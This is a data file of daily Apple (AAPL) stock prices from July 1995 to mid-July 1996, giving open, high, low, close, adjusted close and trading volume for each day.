-1995-07-28,1.6696428060531616,1.6875,1.6071428060531616,1.625,1.4023463726043701,65234400.0,AAPL
-1995-07-31,1.625,1.6294642686843872,1.5982142686843872,1.6071428060531616,1.3869355916976929,39631200.0,AAPL
-1995-08-01,1.6026785373687744,1.6026785373687744,1.5535714626312256,1.5535714626312256,1.3407046794891357,52729600.0,AAPL
-1995-08-02,1.5669642686843872,1.6071428060531616,1.5625,1.5848214626312256,1.3676728010177612,68782000.0,AAPL
-1995-08-03,1.5758928060531616,1.6294642686843872,1.5669642686843872,1.6071428060531616,1.3869355916976929,53482800.0,AAPL
-1995-08-04,1.6071428060531616,1.6116071939468384,1.5625,1.5803571939468384,1.3638204336166382,48078800.0,AAPL
-1995-08-07,1.5758928060531616,1.59375,1.5401785373687744,1.5491071939468384,1.3368521928787231,48440000.0,AAPL
-1995-08-08,1.5580357313156128,1.5625,1.5133928060531616,1.5178571939468384,1.309883713722229,58648800.0,AAPL
-1995-08-09,1.5223214626312256,1.5625,1.5178571939468384,1.5401785373687744,1.3291467428207397,92254400.0,AAPL
-1995-08-10,1.5401785373687744,1.5446428060531616,1.5223214626312256,1.5267857313156128,1.3175889253616333,41006000.0,AAPL
-1995-08-11,1.53125,1.5401785373687744,1.4955357313156128,1.5379464626312256,1.3272205591201782,51732800.0,AAPL
-1995-08-14,1.5357142686843872,1.5625,1.53125,1.5491071939468384,1.3368521928787231,41851600.0,AAPL
-1995-08-15,1.5669642686843872,1.5758928060531616,1.5401785373687744,1.5736607313156128,1.3580410480499268,79466800.0,AAPL
-1995-08-16,1.5714285373687744,1.5892857313156128,1.5580357313156128,1.5892857313156128,1.3752747774124146,73158400.0,AAPL
-1995-08-17,1.59375,1.625,1.5758928060531616,1.59375,1.3791375160217285,61723200.0,AAPL
-1995-08-18,1.6026785373687744,1.6116071939468384,1.5625,1.6026785373687744,1.3868638277053833,60289600.0,AAPL
-1995-08-21,1.6026785373687744,1.6205357313156128,1.5758928060531616,1.5758928060531616,1.3636856079101562,67944800.0,AAPL
-1995-08-22,1.5848214626312256,1.6116071939468384,1.5758928060531616,1.5982142686843872,1.3830008506774902,54261200.0,AAPL
-1995-08-23,1.6026785373687744,1.6383928060531616,1.59375,1.625,1.406179666519165,63450800.0,AAPL
-1995-08-24,1.6294642686843872,1.6517857313156128,1.625,1.6339285373687744,1.4139058589935303,71982400.0,AAPL
-1995-08-25,1.6383928060531616,1.6383928060531616,1.59375,1.5982142686843872,1.3830008506774902,33586000.0,AAPL
-1995-08-28,1.6026785373687744,1.6071428060531616,1.5357142686843872,1.5357142686843872,1.3289170265197754,60760000.0,AAPL
-1995-08-29,1.5357142686843872,1.5446428060531616,1.5178571939468384,1.5401785373687744,1.332780122756958,79265200.0,AAPL
-1995-08-30,1.5446428060531616,1.5625,1.5401785373687744,1.5491071939468384,1.3405064344406128,38368400.0,AAPL
-1995-08-31,1.5491071939468384,1.5535714626312256,1.5357142686843872,1.5357142686843872,1.3289170265197754,21966000.0,AAPL
-1995-09-01,1.5357142686843872,1.5535714626312256,1.53125,1.5334821939468384,1.3269851207733154,24595200.0,AAPL
-1995-09-05,1.5535714626312256,1.5535714626312256,1.5267857313156128,1.5535714626312256,1.3443695306777954,44993200.0,AAPL
-1995-09-06,1.5669642686843872,1.5775669813156128,1.5535714626312256,1.5625,1.3520954847335815,50190000.0,AAPL
-1995-09-07,1.5714285373687744,1.6183035373687744,1.5625,1.5982142686843872,1.3830008506774902,65581600.0,AAPL
-1995-09-08,1.5982142686843872,1.6026785373687744,1.5892857313156128,1.5982142686843872,1.3830008506774902,43694000.0,AAPL
-1995-09-11,1.6026785373687744,1.625,1.5803571939468384,1.5803571939468384,1.3675484657287598,43122800.0,AAPL
-1995-09-12,1.5892857313156128,1.6026785373687744,1.5223214626312256,1.5334821939468384,1.3269851207733154,81564000.0,AAPL
-1995-09-13,1.53125,1.5491071939468384,1.5,1.5133928060531616,1.3096015453338623,80687600.0,AAPL
-1995-09-14,1.4776785373687744,1.4866071939468384,1.4196428060531616,1.4285714626312256,1.2362020015716553,137639600.0,AAPL
-1995-09-15,1.3348214626312256,1.4241071939468384,1.2678571939468384,1.28125,1.108718752861023,302990800.0,AAPL
-1995-09-18,1.2991071939468384,1.3147321939468384,1.28125,1.3102678060531616,1.1338287591934204,155372000.0,AAPL
-1995-09-19,1.3125,1.3258928060531616,1.2901785373687744,1.3125,1.1357603073120117,122505600.0,AAPL
-1995-09-20,1.3303571939468384,1.3348214626312256,1.3035714626312256,1.3080357313156128,1.1318974494934082,80452400.0,AAPL
-1995-09-21,1.3035714626312256,1.3392857313156128,1.2991071939468384,1.3214285373687744,1.143486738204956,86833600.0,AAPL
-1995-09-22,1.3169642686843872,1.3303571939468384,1.2991071939468384,1.3236607313156128,1.145418405532837,99660400.0,AAPL
-1995-09-25,1.3660714626312256,1.3666294813156128,1.3348214626312256,1.33984375,1.1594218015670776,78803200.0,AAPL
-1995-09-26,1.3482142686843872,1.3526785373687744,1.3258928060531616,1.3348214626312256,1.155076026916504,62725600.0,AAPL
-1995-09-27,1.3392857313156128,1.3392857313156128,1.2410714626312256,1.2946428060531616,1.1203080415725708,112809200.0,AAPL
-1995-09-28,1.3035714626312256,1.3526785373687744,1.3035714626312256,1.3482142686843872,1.1666653156280518,82796000.0,AAPL
-1995-09-29,1.3571428060531616,1.3660714626312256,1.3169642686843872,1.3303571939468384,1.1512129306793213,70854000.0,AAPL
-1995-10-02,1.3482142686843872,1.375,1.3392857313156128,1.34375,1.1628023386001587,98000000.0,AAPL
-1995-10-03,1.3616071939468384,1.375,1.3258928060531616,1.34375,1.1628023386001587,72455600.0,AAPL
-1995-10-04,1.3080357313156128,1.3214285373687744,1.2857142686843872,1.2991071939468384,1.1241711378097534,66693200.0,AAPL
-1995-10-05,1.2946428060531616,1.3080357313156128,1.28125,1.3035714626312256,1.128034234046936,61017600.0,AAPL
-1995-10-06,1.3125,1.3214285373687744,1.2723214626312256,1.2745535373687744,1.102924108505249,77260400.0,AAPL
-1995-10-09,1.2633928060531616,1.2767857313156128,1.2276785373687744,1.2433035373687744,1.075881838798523,93142000.0,AAPL
-1995-10-10,1.2276785373687744,1.25,1.2008928060531616,1.2388392686843872,1.0720186233520508,100066400.0,AAPL
-1995-10-11,1.2589285373687744,1.2723214626312256,1.21875,1.2455357313156128,1.0778136253356934,83218800.0,AAPL
-1995-10-12,1.25,1.2633928060531616,1.2410714626312256,1.2611607313156128,1.0913344621658325,40513200.0,AAPL
-1995-10-13,1.2767857313156128,1.3169642686843872,1.2678571939468384,1.2857142686843872,1.1125813722610474,58797200.0,AAPL
-1995-10-16,1.2946428060531616,1.3214285373687744,1.28125,1.2901785373687744,1.1164442300796509,45516800.0,AAPL
-1995-10-17,1.3035714626312256,1.3169642686843872,1.28125,1.3080357313156128,1.1318974494934082,44654400.0,AAPL
-1995-10-18,1.3214285373687744,1.4129464626312256,1.3125,1.3348214626312256,1.155076026916504,128100000.0,AAPL
-1995-10-19,1.28125,1.2901785373687744,1.2410714626312256,1.2410714626312256,1.0739504098892212,236224800.0,AAPL
-1995-10-20,1.2589285373687744,1.2589285373687744,1.2366071939468384,1.2544642686843872,1.0855395793914795,96583200.0,AAPL
-1995-10-23,1.2544642686843872,1.2544642686843872,1.2410714626312256,1.2544642686843872,1.0855395793914795,49450800.0,AAPL
-1995-10-24,1.2678571939468384,1.2678571939468384,1.2455357313156128,1.2544642686843872,1.0855395793914795,53373600.0,AAPL
-1995-10-25,1.2589285373687744,1.2633928060531616,1.2410714626312256,1.2410714626312256,1.0739504098892212,33325600.0,AAPL
-1995-10-26,1.2455357313156128,1.25,1.2321428060531616,1.2455357313156128,1.0778136253356934,31466400.0,AAPL
-1995-10-27,1.2455357313156128,1.2455357313156128,1.21875,1.2410714626312256,1.0739504098892212,38553200.0,AAPL
-1995-10-30,1.2455357313156128,1.2589285373687744,1.2366071939468384,1.2589285373687744,1.0894025564193726,43909600.0,AAPL
-1995-10-31,1.2589285373687744,1.3080357313156128,1.2544642686843872,1.296875,1.122239351272583,72304400.0,AAPL
-1995-11-01,1.3080357313156128,1.3258928060531616,1.2678571939468384,1.3080357313156128,1.1318974494934082,48308400.0,AAPL
-1995-11-02,1.3169642686843872,1.3169642686843872,1.2946428060531616,1.3080357313156128,1.1318974494934082,38189200.0,AAPL
-1995-11-03,1.3125,1.3169642686843872,1.28125,1.3035714626312256,1.128034234046936,44858800.0,AAPL
-1995-11-06,1.3035714626312256,1.3839285373687744,1.2991071939468384,1.3616071939468384,1.1782548427581787,77943600.0,AAPL
-1995-11-07,1.3482142686843872,1.4464285373687744,1.3392857313156128,1.4151785373687744,1.2246119976043701,184097200.0,AAPL
-1995-11-08,1.4196428060531616,1.4642857313156128,1.3839285373687744,1.3883928060531616,1.2014336585998535,89706400.0,AAPL
-1995-11-09,1.4196428060531616,1.4285714626312256,1.3883928060531616,1.40625,1.2168861627578735,65027200.0,AAPL
-1995-11-10,1.40625,1.4375,1.3883928060531616,1.4196428060531616,1.228475570678711,55778800.0,AAPL
-1995-11-13,1.4375,1.4732142686843872,1.4285714626312256,1.4598214626312256,1.263243556022644,79343600.0,AAPL
-1995-11-14,1.4642857313156128,1.5178571939468384,1.4642857313156128,1.4821428060531616,1.2825595140457153,101819200.0,AAPL
-1995-11-15,1.5,1.5,1.4330357313156128,1.4642857313156128,1.2671066522598267,62034000.0,AAPL
-1995-11-16,1.4598214626312256,1.4821428060531616,1.4107142686843872,1.4263392686843872,1.2342700958251953,56557200.0,AAPL
-1995-11-17,1.4285714626312256,1.4419642686843872,1.4196428060531616,1.4330357313156128,1.2400648593902588,32132800.0,AAPL
-1995-11-20,1.4375,1.4375,1.375,1.3794642686843872,1.1937074661254883,37114000.0,AAPL
-1995-11-21,1.3839285373687744,1.3839285373687744,1.3526785373687744,1.3794642686843872,1.1974313259124756,47902400.0,AAPL
-1995-11-22,1.3794642686843872,1.4017857313156128,1.375,1.3794642686843872,1.1974313259124756,24701600.0,AAPL
-1995-11-24,1.3883928060531616,1.4419642686843872,1.3839285373687744,1.4352678060531616,1.2458707094192505,27487600.0,AAPL
-1995-11-27,1.4508928060531616,1.4508928060531616,1.40625,1.40625,1.2206825017929077,28968800.0,AAPL
-1995-11-28,1.40625,1.4330357313156128,1.4017857313156128,1.4285714626312256,1.2400585412979126,44072000.0,AAPL
-1995-11-29,1.4330357313156128,1.4330357313156128,1.3928571939468384,1.4017857313156128,1.2168073654174805,26317200.0,AAPL
-1995-11-30,1.3883928060531616,1.3928571939468384,1.3571428060531616,1.3616071939468384,1.1819305419921875,43713600.0,AAPL
-1995-12-01,1.3571428060531616,1.3660714626312256,1.3258928060531616,1.34375,1.1664296388626099,51052400.0,AAPL
-1995-12-04,1.4330357313156128,1.4330357313156128,1.3928571939468384,1.4107142686843872,1.2245575189590454,120170400.0,AAPL
-1995-12-05,1.375,1.4241071939468384,1.3660714626312256,1.4107142686843872,1.2245575189590454,90899200.0,AAPL
-1995-12-06,1.4196428060531616,1.4241071939468384,1.3705357313156128,1.3839285373687744,1.2013064622879028,50276800.0,AAPL
-1995-12-07,1.3839285373687744,1.3839285373687744,1.3526785373687744,1.3772321939468384,1.1954936981201172,35481600.0,AAPL
-1995-12-08,1.3839285373687744,1.40625,1.3526785373687744,1.40625,1.2206825017929077,35338800.0,AAPL
-1995-12-11,1.4107142686843872,1.4151785373687744,1.3705357313156128,1.3794642686843872,1.1974313259124756,27913200.0,AAPL
-1995-12-12,1.3794642686843872,1.3794642686843872,1.3571428060531616,1.3571428060531616,1.1780554056167603,44388400.0,AAPL
-1995-12-13,1.3660714626312256,1.3928571939468384,1.3125,1.3705357313156128,1.189680814743042,171225600.0,AAPL
-1995-12-14,1.3883928060531616,1.40625,1.3571428060531616,1.3660714626312256,1.1858055591583252,83375600.0,AAPL
-1995-12-15,1.2678571939468384,1.3080357313156128,1.2276785373687744,1.2589285373687744,1.0928014516830444,181720000.0,AAPL
-1995-12-18,1.2544642686843872,1.2589285373687744,1.1383928060531616,1.1517857313156128,0.9997970461845398,166633600.0,AAPL
-1995-12-19,1.1696428060531616,1.1875,1.1517857313156128,1.1696428060531616,1.015297770500183,107716000.0,AAPL
-1995-12-20,1.1964285373687744,1.2008928060531616,1.1607142686843872,1.1651785373687744,1.0114226341247559,91434000.0,AAPL
-1995-12-21,1.1696428060531616,1.1696428060531616,1.1294642686843872,1.1607142686843872,1.0075472593307495,83218800.0,AAPL
-1995-12-22,1.1651785373687744,1.1741071939468384,1.1473214626312256,1.1517857313156128,0.9997970461845398,58665600.0,AAPL
-1995-12-26,1.1607142686843872,1.1607142686843872,1.1339285373687744,1.1450892686843872,0.9939846396446228,34876800.0,AAPL
-1995-12-27,1.1473214626312256,1.1919642686843872,1.1383928060531616,1.15625,1.0036722421646118,67141200.0,AAPL
-1995-12-28,1.1473214626312256,1.1696428060531616,1.1383928060531616,1.1428571939468384,0.9920467734336853,62498800.0,AAPL
-1995-12-29,1.1428571939468384,1.15625,1.1294642686843872,1.1383928060531616,0.9881719350814819,76034000.0,AAPL
-1996-01-02,1.1517857313156128,1.1517857313156128,1.1339285373687744,1.1473214626312256,0.9959220290184021,34823600.0,AAPL
-1996-01-03,1.1428571939468384,1.1741071939468384,1.1383928060531616,1.1473214626312256,0.9959220290184021,107458400.0,AAPL
-1996-01-04,1.15625,1.15625,1.1205357313156128,1.1272321939468384,0.9784834384918213,75045600.0,AAPL
-1996-01-05,1.1294642686843872,1.2232142686843872,1.1205357313156128,1.2232142686843872,1.0617998838424683,111482000.0,AAPL
-1996-01-08,1.2321428060531616,1.2678571939468384,1.2142857313156128,1.2366071939468384,1.0734251737594604,30335200.0,AAPL
-1996-01-09,1.2366071939468384,1.2366071939468384,1.1696428060531616,1.1696428060531616,1.015297770500183,62804000.0,AAPL
-1996-01-10,1.1607142686843872,1.2410714626312256,1.1517857313156128,1.2232142686843872,1.0617998838424683,91358400.0,AAPL
-1996-01-11,1.1651785373687744,1.25,1.15625,1.25,1.0850510597229004,189184800.0,AAPL
-1996-01-12,1.2410714626312256,1.2410714626312256,1.1875,1.2098214626312256,1.050174355506897,100464000.0,AAPL
-1996-01-15,1.2053571939468384,1.2321428060531616,1.1919642686843872,1.21875,1.0579248666763306,90770400.0,AAPL
-1996-01-16,1.2276785373687744,1.2410714626312256,1.2008928060531616,1.234375,1.0714879035949707,88228000.0,AAPL
-1996-01-17,1.2276785373687744,1.2276785373687744,1.2053571939468384,1.2142857313156128,1.0540496110916138,59102400.0,AAPL
-1996-01-18,1.1741071939468384,1.1919642686843872,1.0848214626312256,1.140625,0.9901090860366821,174596800.0,AAPL
-1996-01-19,1.1071428060531616,1.1339285373687744,1.0491071939468384,1.0669642686843872,0.9261686205863953,207306400.0,AAPL
-1996-01-22,1.0625,1.1071428060531616,1.0446428060531616,1.0892857313156128,0.945544421672821,124936000.0,AAPL
-1996-01-23,1.2053571939468384,1.2142857313156128,1.1071428060531616,1.1294642686843872,0.9804210662841797,247072000.0,AAPL
-1996-01-24,1.1473214626312256,1.1517857313156128,1.1339285373687744,1.1517857313156128,0.9997970461845398,163973600.0,AAPL
-1996-01-25,1.1339285373687744,1.1428571939468384,1.0758928060531616,1.0803571939468384,0.9377940893173218,111300000.0,AAPL
-1996-01-26,1.0848214626312256,1.1160714626312256,1.0223214626312256,1.09375,0.9494196772575378,183937600.0,AAPL
-1996-01-29,1.0357142686843872,1.0625,1.0267857313156128,1.0401785373687744,0.9029174447059631,83148800.0,AAPL
-1996-01-30,0.9642857313156128,1.0044642686843872,0.9592633843421936,0.9754464030265808,0.8467273116111755,155710800.0,AAPL
-1996-01-31,0.9910714030265808,1.0,0.9776785969734192,0.9866071343421936,0.8564152121543884,82014800.0,AAPL
-1996-02-01,0.9821428656578064,1.0133928060531616,0.9821428656578064,1.0133928060531616,0.8796663284301758,83260800.0,AAPL
-1996-02-02,1.03125,1.0580357313156128,1.0267857313156128,1.0446428060531616,0.9067926406860352,138994800.0,AAPL
-1996-02-05,1.0602678060531616,1.0625,1.0357142686843872,1.0446428060531616,0.9067926406860352,79682400.0,AAPL
-1996-02-06,1.0446428060531616,1.0714285373687744,1.0446428060531616,1.0580357313156128,0.9184181690216064,56554400.0,AAPL
-1996-02-07,1.0625,1.0625,0.9910714030265808,1.0089285373687744,0.8757910132408142,90081600.0,AAPL
-1996-02-08,0.9821428656578064,1.0044642686843872,0.9821428656578064,0.9955357313156128,0.8641656041145325,65791600.0,AAPL
-1996-02-09,0.9955357313156128,1.0178571939468384,0.9866071343421936,0.9910714030265808,0.8602904677391052,51422000.0,AAPL
-1996-02-12,1.0044642686843872,1.0178571939468384,1.0,1.0133928060531616,0.8796663284301758,48568800.0,AAPL
-1996-02-13,1.0,1.03125,0.9955357313156128,1.0044642686843872,0.8719159364700317,57125600.0,AAPL
-1996-02-14,1.0089285373687744,1.0089285373687744,0.9799107313156128,0.9866071343421936,0.8564152121543884,40796000.0,AAPL
-1996-02-15,0.9866071343421936,1.0044642686843872,0.9776785969734192,1.0,0.8680407404899597,30520000.0,AAPL
-1996-02-16,1.0044642686843872,1.0133928060531616,0.9821428656578064,0.9821428656578064,0.8525400161743164,39110400.0,AAPL
-1996-02-20,1.0,1.0535714626312256,1.0,1.0357142686843872,0.8990421295166016,94228400.0,AAPL
-1996-02-21,1.0491071939468384,1.0625,1.0401785373687744,1.0580357313156128,0.9184181690216064,55459600.0,AAPL
-1996-02-22,1.0714285373687744,1.0758928060531616,1.0580357313156128,1.0669642686843872,0.9261686205863953,46046000.0,AAPL
-1996-02-23,1.0669642686843872,1.0803571939468384,1.0580357313156128,1.0669642686843872,0.9261686205863953,43321600.0,AAPL
-1996-02-26,1.0714285373687744,1.0758928060531616,1.0535714626312256,1.0535714626312256,0.9145429134368896,29570800.0,AAPL
-1996-02-27,1.0669642686843872,1.0669642686843872,1.0178571939468384,1.0223214626312256,0.8874166011810303,37290400.0,AAPL
-1996-02-28,1.03125,1.03125,0.9866071343421936,0.9910714030265808,0.8602904677391052,46978400.0,AAPL
-1996-02-29,0.9821428656578064,0.9910714030265808,0.9732142686843872,0.9821428656578064,0.8525400161743164,28221200.0,AAPL
-1996-03-01,0.9866071343421936,0.9866071343421936,0.9508928656578064,0.9598214030265808,0.8331640958786011,57783600.0,AAPL
-1996-03-04,0.9732142686843872,0.9776785969734192,0.9375,0.9375,0.8137882351875305,46888800.0,AAPL
-1996-03-05,0.9464285969734192,0.9553571343421936,0.9375,0.9508928656578064,0.8254138231277466,29610000.0,AAPL
-1996-03-06,0.9553571343421936,0.9598214030265808,0.9330357313156128,0.9352678656578064,0.8118506669998169,24763200.0,AAPL
-1996-03-07,0.9375,0.9419642686843872,0.90625,0.921875,0.8002251386642456,65016000.0,AAPL
-1996-03-08,0.9196428656578064,0.9375,0.8928571343421936,0.9285714030265808,0.806037962436676,37251200.0,AAPL
-1996-03-11,0.9375,0.9419642686843872,0.9196428656578064,0.9241071343421936,0.8021628260612488,31752000.0,AAPL
-1996-03-12,0.9285714030265808,0.9419642686843872,0.9151785969734192,0.921875,0.8002251386642456,24038000.0,AAPL
-1996-03-13,0.9241071343421936,0.9330357313156128,0.9151785969734192,0.9196428656578064,0.7982876300811768,24920000.0,AAPL
-1996-03-14,0.9241071343421936,0.9241071343421936,0.9107142686843872,0.9151785969734192,0.7944125533103943,23340800.0,AAPL
-1996-03-15,0.9285714030265808,0.9285714030265808,0.9107142686843872,0.9241071343421936,0.8021628260612488,25345600.0,AAPL
-1996-03-18,0.9263392686843872,0.9330357313156128,0.9196428656578064,0.9330357313156128,0.8099132180213928,27283200.0,AAPL
-1996-03-19,0.9419642686843872,0.9464285969734192,0.9151785969734192,0.9196428656578064,0.7982876300811768,31091200.0,AAPL
-1996-03-20,0.9196428656578064,0.9196428656578064,0.8973214030265808,0.9017857313156128,0.7827867865562439,28996800.0,AAPL
-1996-03-21,0.9107142686843872,0.9107142686843872,0.8928571343421936,0.8973214030265808,0.7789115905761719,27496000.0,AAPL
-1996-03-22,0.9017857313156128,0.90625,0.8883928656578064,0.90625,0.7866620421409607,26891200.0,AAPL
-1996-03-25,0.9107142686843872,0.9196428656578064,0.8571428656578064,0.8571428656578064,0.744035005569458,41092800.0,AAPL
-1996-03-26,0.8571428656578064,0.875,0.84375,0.8526785969734192,0.740159809589386,40199600.0,AAPL
-1996-03-27,0.8303571343421936,0.9017857313156128,0.8214285969734192,0.9017857313156128,0.7827867865562439,107324000.0,AAPL
-1996-03-28,0.8839285969734192,0.9151785969734192,0.8616071343421936,0.8638392686843872,0.7498478293418884,73973200.0,AAPL
-1996-03-29,0.8660714030265808,0.8839285969734192,0.8482142686843872,0.8772321343421936,0.7614734172821045,41630400.0,AAPL
-1996-04-01,0.8973214030265808,0.9241071343421936,0.8755580186843872,0.9107142686843872,0.7905372381210327,39659200.0,AAPL
-1996-04-02,0.9151785969734192,0.9151785969734192,0.8883928656578064,0.8928571343421936,0.7750362753868103,25359600.0,AAPL
-1996-04-03,0.8973214030265808,0.8973214030265808,0.8688616156578064,0.8772321343421936,0.7614734172821045,18060000.0,AAPL
-1996-04-04,0.8794642686843872,0.8794642686843872,0.8571428656578064,0.8616071343421936,0.7479101419448853,21512400.0,AAPL
-1996-04-08,0.8526785969734192,0.875,0.8482142686843872,0.8705357313156128,0.7556606531143188,42207200.0,AAPL
-1996-04-09,0.8883928656578064,0.9464285969734192,0.8705357313156128,0.9285714030265808,0.806037962436676,58769200.0,AAPL
-1996-04-10,0.9330357313156128,0.9464285969734192,0.9241071343421936,0.9285714030265808,0.806037962436676,43691200.0,AAPL
-1996-04-11,0.9330357313156128,0.9375,0.9107142686843872,0.9196428656578064,0.7982876300811768,24567200.0,AAPL
-1996-04-12,0.9241071343421936,0.9241071343421936,0.90625,0.9107142686843872,0.7905372381210327,20358800.0,AAPL
-1996-04-15,0.9107142686843872,0.9196428656578064,0.8928571343421936,0.9196428656578064,0.7982876300811768,38519600.0,AAPL
-1996-04-16,0.9241071343421936,0.9285714030265808,0.9151785969734192,0.9241071343421936,0.8021628260612488,25354000.0,AAPL
-1996-04-17,0.9241071343421936,0.9285714030265808,0.8973214030265808,0.9017857313156128,0.7827867865562439,21352800.0,AAPL
-1996-04-18,0.90625,0.9068080186843872,0.8660714030265808,0.8839285969734192,0.7672860622406006,54311600.0,AAPL
-1996-04-19,0.8794642686843872,0.8973214030265808,0.8794642686843872,0.8950892686843872,0.7769740223884583,25449200.0,AAPL
-1996-04-22,0.9017857313156128,0.9107142686843872,0.8883928656578064,0.8973214030265808,0.7789115905761719,27778800.0,AAPL
-1996-04-23,0.8973214030265808,0.9017857313156128,0.8794642686843872,0.8839285969734192,0.7672860622406006,42487200.0,AAPL
-1996-04-24,0.8794642686843872,0.8839285969734192,0.8638392686843872,0.8660714030265808,0.7517853379249573,32085200.0,AAPL
-1996-04-25,0.8705357313156128,0.8883928656578064,0.8616071343421936,0.8883928656578064,0.7711612582206726,43601600.0,AAPL
-1996-04-26,0.8928571343421936,0.8973214030265808,0.8794642686843872,0.8839285969734192,0.7672860622406006,47216400.0,AAPL
-1996-04-29,0.8928571343421936,0.8928571343421936,0.875,0.8839285969734192,0.7672860622406006,30262400.0,AAPL
-1996-04-30,0.8883928656578064,0.8883928656578064,0.8616071343421936,0.8705357313156128,0.7556606531143188,34165600.0,AAPL
-1996-05-01,0.8705357313156128,0.8839285969734192,0.8616071343421936,0.8705357313156128,0.7556606531143188,28176400.0,AAPL
-1996-05-02,0.875,0.875,0.8392857313156128,0.8482142686843872,0.7362847328186035,47076400.0,AAPL
-1996-05-03,0.8616071343421936,0.8616071343421936,0.8392857313156128,0.8526785969734192,0.740159809589386,27115200.0,AAPL
-1996-05-06,0.8883928656578064,0.9241071343421936,0.8839285969734192,0.9151785969734192,0.7944125533103943,72371600.0,AAPL
-1996-05-07,0.9419642686843872,0.9776785969734192,0.9375,0.9598214030265808,0.8331640958786011,88384800.0,AAPL
-1996-05-08,0.9732142686843872,0.9732142686843872,0.9151785969734192,0.9553571343421936,0.8292889595031738,46698400.0,AAPL
-1996-05-09,0.9419642686843872,0.9464285969734192,0.9196428656578064,0.9330357313156128,0.8099132180213928,24519600.0,AAPL
-1996-05-10,0.9375,0.9776785969734192,0.9285714030265808,0.9732142686843872,0.8447895050048828,27647200.0,AAPL
-1996-05-13,0.96875,0.9866071343421936,0.9508928656578064,0.9665178656578064,0.838977038860321,46754400.0,AAPL
-1996-05-14,0.9910714030265808,1.0,0.9821428656578064,0.9821428656578064,0.8525400161743164,49406000.0,AAPL
-1996-05-15,0.9955357313156128,1.03125,0.9910714030265808,1.0178571939468384,0.8835418224334717,73091200.0,AAPL
-1996-05-16,1.0089285373687744,1.0223214626312256,0.9955357313156128,1.0133928060531616,0.8796663284301758,32519200.0,AAPL
-1996-05-17,1.0133928060531616,1.0133928060531616,0.9821428656578064,0.9866071343421936,0.8564152121543884,30825200.0,AAPL
-1996-05-20,0.9955357313156128,1.0044642686843872,0.9866071343421936,0.9977678656578064,0.8661032915115356,21128800.0,AAPL
-1996-05-21,1.0,1.0044642686843872,0.96875,0.96875,0.8409145474433899,28596400.0,AAPL
-1996-05-22,0.9776785969734192,0.9776785969734192,0.9196428656578064,0.9308035969734192,0.8079755902290344,50470000.0,AAPL
-1996-05-23,0.9330357313156128,0.9508928656578064,0.9196428656578064,0.9375,0.8137882351875305,31012800.0,AAPL
-1996-05-24,0.9375,0.9598214030265808,0.9330357313156128,0.9553571343421936,0.8292889595031738,28310800.0,AAPL
-1996-05-28,0.9553571343421936,0.9732142686843872,0.9419642686843872,0.9419642686843872,0.8176634311676025,25463200.0,AAPL
-1996-05-29,0.9375,0.9375,0.8839285969734192,0.8883928656578064,0.7711612582206726,54880000.0,AAPL
-1996-05-30,0.8883928656578064,0.9196428656578064,0.8839285969734192,0.9107142686843872,0.7905372381210327,25866400.0,AAPL
-1996-05-31,0.9151785969734192,0.9508928656578064,0.9107142686843872,0.9330357313156128,0.8099132180213928,40661600.0,AAPL
-1996-06-03,0.9241071343421936,0.9285714030265808,0.8839285969734192,0.8839285969734192,0.7672860622406006,31365600.0,AAPL
-1996-06-04,0.8571428656578064,0.8705357313156128,0.8526785969734192,0.8638392686843872,0.7498478293418884,190559600.0,AAPL
-1996-06-05,0.90625,0.9107142686843872,0.8660714030265808,0.8973214030265808,0.7789115905761719,127526000.0,AAPL
-1996-06-06,0.8928571343421936,0.9017857313156128,0.8616071343421936,0.8660714030265808,0.7517853379249573,90524000.0,AAPL
-1996-06-07,0.8571428656578064,0.8705357313156128,0.8392857313156128,0.8705357313156128,0.7556606531143188,66942400.0,AAPL
-1996-06-10,0.8705357313156128,0.875,0.8571428656578064,0.8616071343421936,0.7479101419448853,26591600.0,AAPL
-1996-06-11,0.8660714030265808,0.8660714030265808,0.8571428656578064,0.8571428656578064,0.744035005569458,38264800.0,AAPL
-1996-06-12,0.875,0.875,0.8571428656578064,0.8660714030265808,0.7517853379249573,37979200.0,AAPL
-1996-06-13,0.8705357313156128,0.8900669813156128,0.8571428656578064,0.8794642686843872,0.7634109854698181,47854800.0,AAPL
-1996-06-14,0.8839285969734192,0.8839285969734192,0.8526785969734192,0.8549107313156128,0.7420975565910339,36240400.0,AAPL
-1996-06-17,0.8616071343421936,0.8616071343421936,0.84375,0.84375,0.7324094772338867,28232400.0,AAPL
-1996-06-18,0.84375,0.8482142686843872,0.8080357313156128,0.8125,0.7052832841873169,55806800.0,AAPL
-1996-06-19,0.8258928656578064,0.8348214030265808,0.8080357313156128,0.8258928656578064,0.7169086337089539,33616800.0,AAPL
-1996-06-20,0.8348214030265808,0.8348214030265808,0.8035714030265808,0.8125,0.7052832841873169,36772400.0,AAPL
-1996-06-21,0.8169642686843872,0.8169642686843872,0.7991071343421936,0.8080357313156128,0.7014080882072449,40462800.0,AAPL
-1996-06-24,0.8080357313156128,0.8080357313156128,0.7901785969734192,0.7946428656578064,0.689782440662384,30690800.0,AAPL
-1996-06-25,0.7901785969734192,0.7946428656578064,0.7276785969734192,0.7366071343421936,0.6394050717353821,61740000.0,AAPL
-1996-06-26,0.7366071343421936,0.7410714030265808,0.7008928656578064,0.7098214030265808,0.6161540150642395,101082800.0,AAPL
-1996-06-27,0.7142857313156128,0.75,0.7053571343421936,0.7366071343421936,0.6394050717353821,57310400.0,AAPL
-1996-06-28,0.7455357313156128,0.75,0.7366071343421936,0.75,0.6510307192802429,28921200.0,AAPL
-1996-07-01,0.7544642686843872,0.7678571343421936,0.75,0.7678571343421936,0.6665313839912415,32995200.0,AAPL
-1996-07-02,0.7633928656578064,0.7678571343421936,0.75,0.75,0.6510307192802429,22251600.0,AAPL
-1996-07-03,0.7276785969734192,0.7276785969734192,0.6919642686843872,0.6919642686843872,0.6006532311439514,72153200.0,AAPL
-1996-07-05,0.6919642686843872,0.7053571343421936,0.6875,0.6964285969734192,0.6045284867286682,26538400.0,AAPL
-1996-07-08,0.7008928656578064,0.7098214030265808,0.6785714030265808,0.6830357313156128,0.5929027795791626,47227600.0,AAPL
-1996-07-09,0.6964285969734192,0.7008928656578064,0.6785714030265808,0.6785714030265808,0.5890277028083801,46956000.0,AAPL
-1996-07-10,0.6830357313156128,0.6964285969734192,0.6696428656578064,0.6696428656578064,0.5812775492668152,42347200.0,AAPL
-1996-07-11,0.6696428656578064,0.6741071343421936,0.6205357313156128,0.6383928656578064,0.5541512370109558,72788800.0,AAPL
-1996-07-12,0.65625,0.65625,0.6160714030265808,0.6450892686843872,0.5599637031555176,67247600.0,AAPL
-1996-07-15,0.6473214030265808,0.6473214030265808,0.6116071343421936,0.6138392686843872,0.5328376293182373,33306000.0,AAPL
